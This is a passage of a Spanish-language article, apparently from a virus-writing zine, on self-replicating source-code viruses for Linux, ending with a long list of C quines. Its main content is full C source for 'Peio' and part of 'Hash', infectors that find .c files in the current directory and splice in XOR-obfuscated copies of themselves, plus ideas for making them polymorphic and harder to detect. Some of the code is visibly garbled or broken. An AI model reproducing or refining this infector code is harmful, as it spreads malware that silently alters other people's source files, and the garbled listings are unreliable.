					buf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));
					for(i=0,j=0;i<strlen(hashbeg);i,j)
						switch(hashbeg[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashbeg[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] =\"");
					bhole += 21;
					buf = (char *)malloc(100*sizeof(char)+strlen(hashend));
					for(i=0,j=0;i<strlen(hashend);i,j)
						switch(hashend[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
 								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashend[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n");
					bhole += 3;

					ehole = strlen(hashend);
					memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
					msync(ptr, size+page, MS_SYNC);
					munmap(ptr, size+page);
					ftruncate(fd, size+ihole+thole+bhole+ehole);
				} else
				{
					munmap(ptr, size);
				}
			}
}
<--------------------->
<---- end of hash.c--->
<--------------------->

En este ejemplo, los hashes están en texto plano y corresponden a los format strings necesarios para generar cada uno de los fragmentos de código necesarios para la infección. A pesar de lo aparatoso de su tamaño, los hashes ocuparán bastante menos dentro del programa ejecutable, porque todos los caracteres de escape se reducirán a un byte. Como contrapartida, deberemos introducir el código necesario para volver a generar los dos chars que especifican cada carácter de escape (contemplándose únicamente ‘\t’, ‘\n’, ‘\\’ y ‘\”‘).

El resto del código es similar al ejemplo anterior, sin embargo ahora utilizamos las posibilidades que nos brinda Linux en cuanto a mapeo de ficheros en memoria mediante la syscall mmap, para agilizar el parcheo de los ficheros. Inicialmente reservamos 3 páginas más que el tamaño del fichero original y vamos llevando un seguimiento del espacio que realmente utilizamos, para truncar el fichero a ese tamaño cuando todo el movimiento de bytes haya concluido.

Todo lo demás son copias de bytes dentro de la zona de memoria donde reside el fichero, mediante memcpy(). El uso de mmap() y memcpy() en lugar de open(), write() y lseek() agiliza la modificación de ficheros enormemente.

Por último, el infector “Peio” utiliza las mismas técnicas que “Hash”, pero en este caso los hashes están XOReados, por lo que pueden utilizarse caracteres de escape como ‘\t’ o ‘\n’ sin tener que indicarlo así. De esta manera, el tamaño de los array de hash se reduce considerablemente, además de no precisar del código que se encarga de volver a traducir a dos bytes cada carácter de escape.

<---------------->
<-----peio.c----->
<---------------->

/*
 * Peio,
 *
 * source code infector XORing hashes.
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>

void init_hash(); 

int main(int argc, char *argv[])
{
	init_hash();
}

void init_hash()
{
	int i, j, fd, size, mpos, ipos, page,
	ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
	void *ptr;
	char hashinc[] = "Š£éîãìõäå 1/4óôäéï(r)è3/4Š£éîãìõäå 1/4óùó¯óôáô(r)è3/4Š£éîãìõäå 1/4óùó¯ííáî(r)è3/4Š£éîãìõäå 1/4õîéóôä(r)è3/4Š£éîãìõäå 1/4äéòåîô(r)è3/4Š£éîãìõäå 1/4æãîôì(r)è3/4ŠŠöïéä éîéôßèáóèš(c)" Š";
	char hashbeg[] = "Šöïéä éîéôßèáóèš(c)ŠûŠ‰éîô é¬ ê¬ æä¬ óéúå¬ íðïó¬ éðïó¬ ðáçå¬ Š‰éèïìå¬ ôèïìå¬ âèïìå¬ åèïìå" óôòõãô äéòåîô ªäéò" ÄÉÒ ªä"Š‰öïéä ªðôò"Š‰ãèáò èáóèéîãÛÝ 1/2 ¢";
	char hashend[] = "‰ãèáò ªâõæ"ŠŠ‰ä 1/2 ïðåîäéòš¢(r)¢(c)"Š‰÷èéìåššäéò 1/2 òåáääéòšä(c)(c)3/4°(c)Š‰‰éæš¡šóôòãíðšäéò­3/4äßîáíå"óôòìåîšäéò­3/4äßîáíå(c)­²¬¢(r)ã¢(c)(c)üüŠ‰‰   ¡šóôòãíðšäéò­3/4äßîáíå"óôòìåîšäéò­3/4äßîáíå(c)­²¬¢(r)â(c)(c)(c) Š‰‰‰éæššæä1/2ïðåîšäéò­3/4äßîáíå¬ ÏßÒÄ×Ò¬ °(c)(c)3/41/2°(c)Š‰‰‰ûŠ‰‰‰‰óéúå 1/2 ìóååëšæä¬ °¬ ÓÅÅËßÅÎÄ(c)"Š‰‰‰‰ðôò 1/2 ííáðšÎÕÌ̬óéúå¬ÐÒÏÔßÒÅÁĬÍÁÐßÐÒÉÖÁÔŬæ䬰(c)"Š‰‰‰‰éæš š¡óôòóôòšðôò¬¢éîéôßèáóè¢(c)(c) ŠŠŠ‰‰‰‰  š ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîíáé(c)(c)3/4°(c) üüŠ‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîéîô íáé(c)(c)3/4°(c) üüŠ‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîöïéä íáé(c)(c)3/4°(c) üü Š‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîíáéî š¢(c)(c)3/4°(c) üüŠ‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîéîô íáéî š¢(c)(c)3/4°(c) üüŠ‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîöïéä íáéî š¢(c)(c)3/4°(c) (c) (c)Š‰‰‰‰ûŠ‰‰‰‰‰íðïó 1/2 šéîô(c)óôòóôòššöïéä ª(c)íðïó¬ ¢"Üî¢(c)"Š‰‰‰‰‰íðïó ­1/2 šéîô(c)­­ðôò"Š‰‰‰‰‰éæš ¡šéðïó 1/2 šéîô(c)óôòóôòš""ðôò¬ ¢£éîãìõäå 1/4¢(c)(c) (c)Š‰‰‰‰‰ûŠ‰‰‰‰‰‰íõîíáðšðôò¬ óéúå(c)"Š‰‰‰‰‰‰âòåáë"Š‰‰‰‰‰ýŠ‰‰‰‰‰íõîíáðšðôò¬ óéúå(c)"Š‰‰‰‰‰ðáçå 1/2 ³ ª šéîô(c)óùóãïîæšßÓÃßÐÁÇÅÓÉÚÅ(c)"Š‰‰‰‰‰æôòõîãáôåšæä¬ óéúå"ðáçå(c)"Š‰‰‰‰‰ðôò 1/2 ííáðšÎÕÌ̬óéúå"ðáçå¬ÐÒÏÔßÒÅÁÄ"ÐÒÏÔß×ÒÉÔŬÍÁÐßÓÈÁÒÅĬæ䬰(c)"Š‰‰‰‰‰éðïó 1/2 šéîô(c)óôòóôòšðôò¬ ¢£éîãìõäå 1/4¢(c)"Š‰‰‰‰‰éðïó 1/2 šéîô(c)óôòóôòššöïéä ª(c)éðïó¬ ¢ÜîÜî¢(c)"Š‰‰‰‰‰éðïó ­1/2 šéîô(c)ðôò"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèéîã(c)"é""(c)Š‰‰‰‰‰‰èáóèéîãÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèâåç(c)"é""(c)Š‰‰‰‰‰‰èáóèâåçÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰éèïìå 1/2 óôòìåîšèáóèéîã(c)"Š‰‰‰‰‰æïòšé1/2šóéúå­éðïó(c)¯éèïìå"é3/41/2°"é­­(c) Š‰‰‰‰‰‰íåíãðùšðôò"éðïó"éªéèïìå"éèïìå¬ ðôò"éðïó"éªéèïìå¬ éèïìå(c)"Š‰‰‰‰‰íåíãðùšðôò"éðïó¬ èáóèéî㬠éèïìå(c)"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèéîã(c)"é""(c)Š‰‰‰‰‰‰èáóèéîãÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰íðïó "1/2 éèïìå"Š‰‰‰‰‰âõæ 1/2 šãèáò ª(c)íáììïãš²°ªóéúåïæšãèáò(c)(c)"Š‰‰‰‰‰óôòãðùšâõ欢ÜîÜôéîéôßèáóèš(c)"¢(c)"Š‰‰‰‰‰ôèïìå 1/2 óôòìåîšâõæ(c)"Š‰‰‰‰‰æïòšé1/2šóéúå"éèïìå­íðïó(c)¯ôèïìå"é3/41/2°"é­­(c) Š‰‰‰‰‰‰íåíãðùšðôò"íðïó"éªôèïìå"ôèïìå¬ ðôò"íðïó"éªôèïìå¬ ôèïìå(c)"Š‰‰‰‰‰íåíãðùšðôò"íðïó¬ âõæ¬ ôèïìå(c)"Š‰‰‰‰‰âèïìå 1/2 óôòìåîšèáóèâåç(c)"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå¬ èáóèâåç¬ âèïìå(c)"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèéî㬠éèïìå(c)"Š‰‰‰‰‰âèïìå "1/2 éèïìå"Š‰‰‰‰‰óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"ÜîÜôãèáò èáóèâåçÛÝ 1/2 Ü¢¢(c)"Š‰‰‰‰‰âèïìå "1/2 ²²"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèâåç(c)"é""(c)Š‰‰‰‰‰‰èáóèâåçÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèâåç¬ óôòìåîšèáóèâåç(c)(c)"Š‰‰‰‰‰âèïìå "1/2 óôòìåîšèáóèâåç(c)"Š‰‰‰‰‰óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"ÜîÜôãèáò èáóèåîäÛÝ 1/2 Ü¢¢(c)"Š‰‰‰‰‰âèïìå "1/2 ²²"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèåîä¬ óôòìåîšèáóèåîä(c)(c)"Š‰‰‰‰‰âèïìå "1/2 óôòìåîšèáóèåîä(c)"Š‰‰‰‰‰óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"Üî¢(c)"Š‰‰‰‰‰âèïìå "1/2 ³"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèåîä(c)"é""(c)Š‰‰‰‰‰‰èáóèåîäÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰åèïìå 1/2 óôòìåîšèáóèåîä(c)"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèåîä¬ åèïìå(c)"Š‰‰‰‰‰íóùîãšðôò¬ óéúå"ðáçå¬ ÍÓßÓÙÎÃ(c)"Š‰‰‰‰‰íõîíáðšðôò¬ óéúå"ðáçå(c)"Š‰‰‰‰‰æôòõîãáôåšæä¬ óéúå"éèïìå"ôèïìå"âèïìå"åèïìå(c)"Š‰‰‰‰ý åìó劉‰‰‰ûŠ‰‰‰‰‰íõîíáðšðôò¬ óéúå(c)"Š‰‰‰‰ýŠ‰‰‰ýŠýŠ";
	char *buf;

	d = opendir(".");
	while>0)
		if(!(strcmp(dir->d_name+strlen(dir->d_name)-2,".c"))||
		   !(strcmp(dir->d_name+strlen(dir->d_name)-2,".C")))
			if>=0)
			{
				size = lseek(fd, 0, SEEK_END);
				ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
				if( (!strstr(ptr,"init_hash")) &&
				  ( >0) ||
				    >0) ||
				    >0) ||
				    >0) ||
				    >0) ||
				    >0) ) )
				{
					mpos = (int)strstr((void *)mpos, ";\n");
					mpos -= (int)--ptr;
					if( !(ipos = (int)strstr(++ptr, "#include <")) )
					{
						munmap(ptr, size);
						break;
					}
					munmap(ptr, size);
					page = 3 * (int)sysconf(_SC_PAGESIZE);
					ftruncate(fd, size+page);
					ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
					ipos = (int)strstr(ptr, "#include <");
					ipos = (int)strstr((void *)ipos, "\n\n");
					ipos -= (int)ptr;
					for(i=0;i<strlen(hashinc);i++)
						hashinc[i] ^= 0x80;
					for(i=0;i<strlen(hashbeg);i++)
						hashbeg[i] ^= 0x80;
					ihole = strlen(hashinc);
					for(i=(size-ipos)/ihole;i>=0;i--)
						memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
					memcpy(ptr+ipos, hashinc, ihole);
					for(i=0;i<strlen(hashinc);i++)
						hashinc[i] ^= 0x80;
					mpos += ihole;
					buf = (char *)malloc(20*sizeof(char));
					strcpy(buf,"\n\tinit_hash();");
					thole = strlen(buf);
					for(i=(size+ihole-mpos)/thole;i>=0;i--)
						memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
					memcpy(ptr+mpos, buf, thole);
					bhole = strlen(hashbeg);
					memcpy(ptr+size+ihole+thole, hashbeg, bhole);
					memcpy(ptr+size+ihole+thole+bhole, hashinc, ihole);
					bhole += ihole;
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] = \"");
					bhole += 22;
					for(i=0;i<strlen(hashbeg);i++)
						hashbeg[i] ^= 0x80;
					memcpy(ptr+size+ihole+thole+bhole, hashbeg, strlen(hashbeg));
					bhole += strlen(hashbeg);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] = \"");
					bhole += 22;
					memcpy(ptr+size+ihole+thole+bhole, hashend, strlen(hashend));
					bhole += strlen(hashend);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n");
					bhole += 3;
					for(i=0;i<strlen(hashend);i++)
						hashend[i] ^= 0x80;
					ehole = strlen(hashend);
					memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
					msync(ptr, size+page, MS_SYNC);
					munmap(ptr, size+page);
					ftruncate(fd, size+ihole+thole+bhole+ehole);
				} else
				{
					munmap(ptr, size);
				}
			}
}
<----------------->
<--end of-peio.c-->
<----------------->

Como vemos, los hashes están XOReados con 80h, y para poder escribir el código en el fichero destino, hay que volver a XORearlos. Esta manera de guardar los hashes abre una vía al polimorfismo, ya que en cada generación, la clave de encriptación con XOR podría variar desde 80h hasta FFh.

Desarrollos futuros

Estos ejemplos no son “fuego real”, hay numerosas imprecisiones y fallos en el código comentado. No obstante, seguimos en desarrollo de estos y nuevos ejemplos, tratando de incorporar más funcionalidades o nuevos enfoques.

Sobre todo, la parte más escandalosa es la relacionada con el tamaño del los arrays que contienen el código que queremos incluir. Resulta problemático tratar de imprimir algunos chars que caen dentro de las 32 primeras posiciones en la tabla ASCII, por lo que hay que observar cómo se resuelve este problema en otros escenarios como el envío de correo electrónico o las news. En este sentido podemos contemplar varias posibilidades:

1) El uso de uuencode/uudecode.

2) El uso de base64.

3) El uso de yEnc [14], una alternativa a los dos puntos anteriores que utiliza ASCII > 127, pero consigue evitar los chars problemáticos (como NULL, DEL, etc.).

4) El uso de protocolos de conversión de arrays de chars propios con combinaciones de XORs, sumas, etc. mejorados, que incluyan compresión simple como pueda ser RLE.

Además de estas mejoras, podríamos pensar en incorporar oligomorfismo a los programas creando varias rutinas y “cifrando” con claves aleatorias en cada generación y varias rutinas de descifrado. Se presta mucho a este enfoque el virus “Peio”, donde las posibles claves hacen que existan 127 combinaciones diferentes a la hora de crear hashes.

Como pasos más posteriores los esfuerzos podrían encaminarse hacia la ofuscación total del código vírico, introducción de dicho código intercalado en el código original, o generación mediante instrucciones y funciones de los arrays que contienen el código (se trata de un número muy grande, podríamos crear código cuyo resultado fuese ese número y así no almacenarlo, sino generarlo cada vez).

Conclusiones

Los virus de código fuente no son una amenaza muy seria actualmente, pero si se perfeccionan las técnicas comentadas, podrían dar de qué hablar. Existen muchos métodos para auditar la integridad de los ficheros en disco como md5sum, tripwire, etc. Sin embargo, si extendemos la paranoia a todo bit que pase por nuestros circuitos, la amenaza de un primer compilador troyanizado todavía sobrevuela entre los sistemas UNIX.

Me gustaría que este texto sirviera para reflexionar acerca de este tema y que motivase a escritores de virus a desarrollar nuevas y mejores técnicas. No obstante, me considero un acérrimo defensor del Software Libre y de lo planteado por la Free Software Fundation y quisiera que este código sirviera para aumentar la seguridad dentro de la comunidad del software de código abierto y no para lo contrario.

Enlaces de interés

[1] Free Software Song: http://www.gnu.org/music/free-software-song.html

[2] Linux Malware: Debunking the myths. Phil d’Espace. Virus Bulletin, September – 2002: http://www.virusbtn.com/magazine/archives/200209/linux_malware.xml

[3] BitchX 1.0c19 IRC Client Backdoored. http://slashdot.org/article.pl?sid=02/07/02/1327208&mode=thread, http://www.securityfocus.com/archive/1/280009/2002-06-28/2002-07-04/0

[4] Clues, Vandalism, Litter Sendmail Trojan Trail. http://www.securityfocus.com/news/1113 , http://cert-nl.surfnet.nl/i/2002/I-02-03.htm

[5] Virus Encyclopedia, File Viruses, DOS: Urphin.1621. http://www.viruslist.com/eng/VirusList.asp?page=0&mode=1&id=2414&key=000010000102404

[6] The History of Computer Viruses. http://www.virus-scan-software.com/virus-scan-help/answers/the-history-of-computer-viruses.shtml

[7] Die-hard virus. http://www.pspl.com/virus_info/dos/diehard.htm

[8] OBJ, LIB Viruses and Source Code Viruses. http://www.viruslist.com/eng/viruslistbooks.html?id=36

[9] Shell viruses. Gobleen Warrior & zert. http://29a.host.sk/29a-6/29a-6.212

[10] Polymorphism/Encryption/EPO in Perl Viruses. SnakeByte. http://29a.host.sk/29a-6/29a-6.220

[11] Reflections on Trusting Trust. Ken Thompson. http://www.acm.org/classics/sep95/

[12] Linux Security Auditing: Re: Reflections on Trusting Trust. http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0222.html, http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0226.html

[13] Shared Source: A Dangerous Virus. http://www.opensource.org/advocacy/shared_source.php

[14] yEnc – Broken Tools. http://www.yenc.org

Quines en C

• Autor: Desconocido (de The Jargon File)
• Notas: Los primeros ejemplos son variaciones de quines de una línea en C estándar.

main(){char *c="main(){char *c=%c%s%c;printf(c,34,c,34);}";printf(c,34,c,34);}

• Autor: Joe Miller
• Notas: Provoca varios warnings, pero compila bien.

p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);}

• Autor: John Burger, David Brill, Filip Machi

main(){char q=34,n=10,*a="main(){char q=34,n=10,*a=%c%s%c;printf(a,q,a,q,n);}%c";printf(a,q,a,q,n);}

• Autor: Desconocido.

main(){char*a="main(){char*a=%c%s%c;int b='%c';printf(a,b,a,b,b);}";int b='"';printf(a,b,a,b,b);}

• Autor: Dario Dariol

main(a,b){a="main(a,b){a=%c%s%c;b='%c';printf(a,b,a,b,b);}";b='"';printf(a,b,a,b,b);}

• Autor: Dario Dariol

main(a){printf(a="main(a){printf(a=%c%s%c,34,a,34);}",34,a,34);}

• Autor: Desconocido.

char *p="char *p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);}

• Autor: Dario Dariol

main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);}

• Autor: Desconocido.

char f[] = "char f[] =%c%c%s%c;%cmain() {printf(f,10,34,f,34,10,10);}%c";main() {printf(f,10,34,f,34,10,10);}

• Autor: Thad Smith
• Notas: El autor afirma que este quine cumple estrictamente el estándar ANSI.

#include<stdio.h>
main(){char*c="\\\"#include<stdio.h>%cmain(){char*c=%c%c%c%.102s%cn%c;printf(c+2,c[102],c[1],*c,*c,c,*c,c[1]);exit(0);}\n";printf(c+2,c[102],c[1],*c,*c,c,*c,c[1]);exit(0);}

• Autor: Torben Mogensen

char *a="\\\"char *a=%c%.1s%.1s%.71s%.1sn%c;main(){printf(a+2,a[1],a,a,a,a,a[1]);}\n";main(){printf(a+2,a[1],a,a,a,a,a[1]);}

• Autor: Joe Miller

#define T(a) main(){printf(a,#a);}
T("#define T(a) main(){printf(a,#a);}\nT(%s)")

• Autor: Erkki Ruohtula (eru@tnso04.tele.nokia.fi)

#define n(v,w) v(#w"\nn("#v","#w")");}
n(main(){puts,#define n(v,w) v(#w"\nn("#v","#w")");})

• Autor: Paul Hsieh

#define X(Y) main(){printf("#define X(Y) %s\nX(%s)\n",#Y,#Y);}
X(main(){printf("#define X(Y) %s\nX(%s)\n",#Y,#Y);})

• Autor: James C Hu

#define q(k)main(){puts(#k"\nq("#k")");}
q(#define q(k)main(){puts(#k"\nq("#k")");})

• Autor: James C Hu

#define q(k)main(){return!puts(#k"\nq("#k")");}
q(#define q(k)main(){return!puts(#k"\nq("#k")");})

• Autor: Jeff Hollingsworth

#define Z(q)q,#q
main()printf(Z("#define Z(q)q,#q\nmain()printf(Z(%s));\n"));

• Autor: Desconocido.

char *f="char *f=%c%s%c;%c#define Q '%c'%c#define N '%cn'%c#define B '%c%c'%c#include <stdio.h>%cvoid main(){printf(f,Q,f,Q,N,Q,N,B,N,B,B,N,N,N);}%c";
#define Q '"'
#define N '\n'
#define B '\\'
#include <stdio.h>
void main(){printf(f,Q,f,Q,N,Q,N,B,N,B,B,N,N,N);}

• Autor: Desconocido.

char a[] = "int main(){ printf(b,34,a,34,10,34,b,34,10,10,a,10); }";
char b[] = "char a[] = %c%s%c;%cchar b[] = %c%s%c;%c%c%s%c";

int main(){ printf(b,34,a,34,10,34,b,34,10,10,a,10); }

• Autor: Travis Emmit

char *s="rfns-.%€uwnsyk-'hmfw%/xBa'*xa'@as'1x.@|mnqj-/x.uwnsyk-'*h'1/x002:.@‚";
main() {
printf("char *s=\"%s\";\n",s);
while(*s)printf("%c",*s++-5);
}

• Autor: Mark Wooding

#include <stdio.h>
int main(void){char n='\n';char b='\\';char q='"';char*p="#include <stdio.h>%cint main(void){char n='%cn';char b='%c%c';char q='%c';char*p=%c%s%c;printf(p,n,b,b,b,q,q,p,q,n);return 0;}%c";printf(p,n,b,b,b,q,q,p,q,n);return 0;}

• Autor: Caucci Luca (caucci@cs.unibo.it)

/*
   Questo programma visualizza il suo codice sorgente.
   * Autore: Caucci Luca (e-mail: caucci@cs.unibo.it)
*/
#include <stdio.h>

char *s = "/*%c   Questo programma visualizza il suo codice sorgente.%c   * Autore: Caucci Luca (e-mail: caucci@cs.unibo.it)%c*/%c#include <stdio.h>%c%cchar *s = %c%s%c;%c%cvoid main() {%c   printf(s, 10, 10, 10, 10, 10, 10, 34, s, 34, 10, 10, 10, 10, 10, 10);%c   return;%c}%c";

void main() {
   printf(s, 10, 10, 10, 10, 10, 10, 34, s, 34, 10, 10, 10, 10, 10, 10);
   return;
}

• Autor: Caucci Luca (caucci@cs.unibo.it)

/*
	Questo programma visualizza il suo codice sorgente.
	* Autore: Luca Caucci (e-mail: caucci@cs.unibo.it)
*/

#include <stdio.h>

char NewLine = '\n', Tab = '\t', BackSlash = '\\', QuotMark = '"';
char Str[] = "/*%c%cQuesto programma visualizza il suo codice sorgente.%c%c* Autore: Luca Caucci (e-mail: caucci@cs.unibo.it)%c*/%c%c#include <stdio.h>%c%cchar NewLine = '%cn', Tab = '%ct', BackSlash = '%c%c', QuotMark = '%c';%cchar Str[] = %c%s%c;%c%cint main() {%c%cprintf(Str, NewLine, Tab, NewLine, Tab, NewLine, NewLine, NewLine, NewLine, NewLine, BackSlash, BackSlash, BackSlash, BackSlash, QuotMark, NewLine, QuotMark, Str, QuotMark, NewLine, NewLine, NewLine, Tab, NewLine, Tab, NewLine, NewLine, NewLine);%c%creturn(0);%c}%c%c";

int main() {
	printf(Str, NewLine, Tab, NewLine, Tab, NewLine, NewLine, NewLine, NewLine, NewLine, BackSlash, BackSlash, BackSlash, BackSlash, QuotMark, NewLine, QuotMark, Str, QuotMark,  NewLine, NewLine, NewLine, Tab, NewLine, Tab, NewLine, NewLine, NewLine);
	return(0);
}

• Autor: Daniel Martin

#include<stdio.h>
char a[] = "\";\nmain() {char *b=a;printf(\"#include<stdio.h>\\nchar a[] = \\\"\");\nfor(;*b;b++) {switch(*b){case '\\n': printf(\"\\\\n\"); break;\ncase '\\\\': case '\\\"': putchar('\\\\'); default: putchar(*b);}} printf(a);}\n";
main() {char *b=a;printf("#include<stdio.h>\nchar a[] = \"");
for(;*b;b++) {switch(*b){case '\n': printf("\\n"); break;
case '\\': case '\"': putchar('\\'); default: putchar(*b);}} printf(a);}

• Autor: Jan Willem

#define s "#define s %c%s%c%c#include <stdio.h>%cvoid main() { printf(%c%s%c,34,s,34,10,10,34,s,34); }" #include <stdio.h>
void main() { printf("#define s %c%s%c%c#include <stdio.h>%cvoid main() { printf(%c%s%c,34,s,34,10,10,34,s,34); }",34,s,34,10,10,34,s,34); }

• Autor: Desconocido.

void p(char *s){char *t;printf("%s(\"",s);for(t=s; *t!=0; t++)switch(*t){case '\\':case '\"':case'\'':putchar('\\');default:putchar(*t);}printf("\");}");}void main(){p("void p(char *s){char *t;printf(\"%s(\\\"\",s);for(t=s; *t!=0; t++)switch(*t){case \'\\\\\':case \'\\\"\':case\'\\\'\':putchar(\'\\\\\');default:putchar(*t);}printf(\"\\\");}\");}void main(){p");}

• Autor: Michael Mauldin

char *x="\";\nmain ()\n{ char *s;\n printf (\"char *x=\\\"\");\n for(s=x;*s;s++)\n { printf
(*s=='\\\\'?\"\\\\\\\\\":*s=='\\\"'?\"\\\\\\\"\":*s=='\\n'?\"\\\\n\":\"%c\", *s); }\n printf (\"%s\", x);\n}\n";
main ()
{ char *s;
printf ("char *x=\"");
for(s=x;*s;s++)
{ printf (*s=='\\'?"\\\\":*s=='\"'?"\\\"":*s=='\n'?"\\n":"%c", *s); } printf ("%s", x);
}

• Autor: Dave English <davide@sequent.com>

char x[]=" main() { int i; putchar(99); putchar(104); putchar(97); putchar(114); putchar(32);
putchar(120); putchar(91); putchar(93); putchar(61); putchar(34); for(i=0; i<strlen(x); ++i)
putchar(x[i]); putchar(34); putchar(59); for(i=0; i<strlen(x); ++i) putchar(x[i]); putchar(10); }";
main() { int i; putchar(99); putchar(104); putchar(97); putchar(114); putchar(32); putchar(120);
putchar(91); putchar(93); putchar(61); putchar(34); for(i=0; i<strlen(x); ++i) putchar(x[i]);
putchar(34); putchar(59); for(i=0 ; i<strlen(x); ++i) putchar(x[i]); putchar(10); }

• Autor: Charles B Cranston (zben@ni.umd.edu)

main(){char*s="main(){char*s=%c%s%c;%cprintf(%c%s%c,34,s,34,10,34,s,34,10);}%c";
printf("main(){char*s=%c%s%c;%cprintf(%c%s%c,34,s,34,10,34,s,34,10);}%c",34,s,34,10,34,s,34,10);}

• Autor: John Hagerman

#define p(s) printf("%s\n",s);
#define q(v,s) printf("r(%s,%s)\n",#v,s);
#define r(v,s) char*v=#s;
#define m main(){p(x)p(y)p(z)p(n)q(x,x)q(y,y)q(z,z)q(n,n)p("m")}
r(x,#define p(s) printf("%s\n",s);)
r(y,#define q(v,s) printf("r(%s,%s)\n",#v,s);)
r(z,#define r(v,s) char*v=#s;)
r(n,#define m main(){p(x)p(y)p(z)p(n)q(x,x)q(y,y)q(z,z)q(n,n)p("m")}) m

• Autor: Xiao Zhiwei

#include
main()
{char* list="
printf(%c#include %cn%c);
printf(%cmain()%cn%c);
printf(%c{%c);
printf(%cchar* list=%cc%c,34);
printf(%c%cs%c, list);
printf(%c%cc;%c,34);
printf(list,34,92,34,34,92,34,34,34,34,37,34,34,37,34,34,37,34);}
";
printf("#include \n");
printf("main()\n");
printf("{");
printf("char* list=%c",34);
printf("%s", list);
printf("%c;",34);
printf(list,34,92,34,34,92,34,34,34,34,37,34,34,37,34,34,37,34);}

• Autor: Dave Harif

#include <stdio.h>
#define d "\\"
#define c "\n"
#define b "\""
#define a "#include <stdio.h>%s#define d %s%s%s%s%s#define c %s%sn%s%s#define b %s%s%s%s%s#define a %s%s%s%smain(){printf(a,c,b,d,d,b,c,b,d,b,c,b,d,b,b,c,b,a,b,c,c);}%s"
main(){printf(a,c,b,d,d,b,c,b,d,b,c,b,d,b,b,c,b,a,b,c,c);}

• Autor: Kennth Almquist

char*p="char*p=15415,4*x=52?33/n33/55,c,n,*q;main()33'0'&c<'6'?c<*x?n=69,'5':*(c-*x+x):c);return 0;33>4",   *x="2???/n??/"",c,n,*q;main()??'0'&c<'6'?c<*x?n=69,'"':*(c-*x+x):c);return 0;??>

• Autor: Zefram (A.Main@dcs.warwick.ac.uk)

char *f="%c%s%c,";
#include <stdio.h>
char*x[]={
"char *f=%c%s%c;",
"#include <stdio.h>",
"char*x[]={",
"},z=0;main(){int n;",
"printf(*x,34,f,34);puts(&z);",
"puts(x[1]);puts(x[2]);",
"for(n=0;n<8;n++)printf(f,34,x[n],34),puts(&z);",
"for(n=3;n<8;n++)puts(x[n]);}",
},z=0;main(){int n;
printf(*x,34,f,34);puts(&z);
puts(x[1]);puts(x[2]);
for(n=0;n<8;n++)printf(f,34,x[n],34),puts(&z);
for(n=3;n<8;n++)puts(x[n]);}

• Autor: John Burger, David Brill, Filip Machi

char *text [] = {
        "char *text [] = {",
        "0 };",
        "main () {",
        "        char newline = 012, quote = 042, escape = 0134, *p, **p;",
        "        printf (\"%s%c\", *text, newline);",
        "        for (pp = text; *pp; pp++) {",
        "                printf (\"        %c\", quote);",
        "                for (p = *pp; *p; p++) {",
        "                        if (*p == quote)",
        "                                putchar (escape);",
